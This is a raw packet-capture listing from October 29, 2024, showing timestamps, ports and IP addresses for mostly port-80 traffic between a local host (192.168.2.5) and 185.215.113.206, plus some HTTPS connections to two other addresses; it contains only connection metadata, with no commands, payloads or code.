Oct 29, 2024 20:35:24.266447067 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.266457081 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.266467094 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.266479969 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.266490936 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.266501904 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.266506910 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.266513109 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.266520977 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.266520977 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.266621113 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.278790951 CET	49951	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:24.278790951 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.278822899 CET	443	49951	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.278881073 CET	49951	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:24.278887987 CET	443	49951	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.278971910 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.281934977 CET	49957	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:24.281971931 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:24.282078981 CET	49957	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:24.282327890 CET	49957	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:24.282342911 CET	443	49957	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:24.282838106 CET	49958	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:24.282900095 CET	443	49958	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:24.282953024 CET	49958	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:24.283175945 CET	49958	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:24.283189058 CET	443	49958	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:24.288877964 CET	49952	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:24.288892031 CET	443	49952	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.300555944 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.300606012 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.300618887 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.300656080 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.300656080 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.300682068 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.300693035 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.300704002 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.300714970 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.300725937 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.300734043 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.300738096 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.300806046 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.300806046 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.300812006 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.300822020 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.300833941 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.300873995 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.300873995 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.301075935 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.301086903 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.301099062 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.301121950 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.301242113 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.301259995 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.301270962 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.301278114 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.301278114 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.301311016 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.301311016 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.301362038 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.301381111 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.301392078 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.301403046 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.301414967 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.301425934 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.301440001 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.301440001 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.301479101 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.301528931 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.301565886 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.301578045 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.301589012 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.301600933 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.301609039 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.301613092 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.301625013 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.301629066 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.301647902 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.301660061 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.301670074 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.301681995 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.301693916 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.301693916 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.301758051 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.302215099 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.302227020 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.302243948 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.302254915 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.302267075 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.302277088 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.302289009 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.302300930 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.302306890 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.302306890 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.302311897 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.302323103 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.302335024 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.302335024 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.302378893 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.302378893 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.302613974 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.302630901 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.302642107 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.302653074 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.302687883 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.302687883 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.302777052 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.302788973 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.302798986 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.302809954 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.302819967 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.302822113 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.302829981 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.302843094 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.302860022 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.302865982 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.302865982 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.302872896 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.302884102 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.302895069 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.302905083 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.302916050 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.302927017 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.302937031 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.302937031 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.302937984 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.302966118 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.302975893 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.302978992 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.302978992 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.302987099 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.303030968 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.303030968 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.303152084 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.303188086 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.303241968 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.303251982 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.303262949 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.303273916 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.303283930 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.303292990 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.303293943 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.303302050 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.303319931 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.303332090 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.303339958 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.303339958 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.303344011 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.303355932 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.303395987 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.303395987 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.303497076 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.303513050 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.303524971 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.303534985 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.303545952 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.303555965 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.303567886 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.303567886 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.303706884 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.317161083 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:24.317174911 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:24.317240953 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:24.317579031 CET	49959	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:24.317588091 CET	443	49959	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:24.333746910 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.333780050 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.333797932 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.333815098 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.333825111 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.333832979 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.333849907 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.333867073 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.333892107 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.333909035 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.333913088 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.333913088 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.333936930 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.333956003 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.333959103 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.333959103 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.333981037 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.333991051 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.333991051 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.333997011 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.334014893 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.334031105 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.334031105 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.334032059 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.334048033 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.334064960 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.334065914 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.334065914 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.334084034 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.334100008 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.334108114 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.334125042 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.334125996 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.334125996 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.334141970 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.334156036 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.334156036 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.334158897 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.334182024 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.334182024 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.334198952 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.334218025 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.334218025 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.334220886 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.334237099 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.334254980 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.334254980 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.334254980 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.334270000 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.334305048 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.334305048 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.334424973 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.334440947 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.334465981 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.334479094 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.334482908 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.334498882 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.334513903 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.334528923 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.334528923 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.334530115 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.334547043 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.334563971 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.334574938 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.334574938 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.334580898 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.334594965 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.334613085 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.334624052 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.334624052 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.334721088 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.334793091 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.334813118 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.334829092 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.334849119 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.334866047 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.334867001 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.334867001 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.334883928 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.334901094 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.334920883 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.334920883 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.334925890 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.334943056 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.334959030 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.334959984 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.334975958 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.334990025 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.335001945 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.335019112 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.335026979 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.335026979 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.335032940 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.335048914 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.335061073 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.335062027 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.335064888 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.335107088 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.335107088 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.335127115 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.335151911 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.335167885 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.335175991 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.335222006 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.335222006 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.335303068 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.335331917 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.335345030 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.335350037 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.335366964 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.335385084 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.335385084 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.335391045 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.335406065 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.335422993 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.335423946 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.335423946 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.335438967 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.335455894 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.335460901 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.335460901 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.335498095 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.335498095 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.335623980 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.335639954 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.335658073 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.335675955 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.335675955 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.335755110 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.335771084 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.335788012 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.335808039 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.335808039 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.335882902 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.337061882 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.337076902 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.337095022 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.337115049 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.337131023 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.337142944 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.337142944 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.337147951 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.337165117 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.337203026 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.337212086 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.337245941 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.337245941 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.337461948 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.337477922 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.337495089 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.337505102 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.337511063 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.337527990 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.337537050 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.337537050 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.337543964 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.337562084 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.337572098 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.337572098 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.337579966 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.337604046 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.337619066 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.337635040 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.337637901 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.337637901 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.337654114 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.337671041 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.337687016 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.337687969 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.337687969 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.337704897 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.337721109 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.337737083 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.337738037 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.337738037 CET	49863	80	192.168.2.5	185.215.113.206
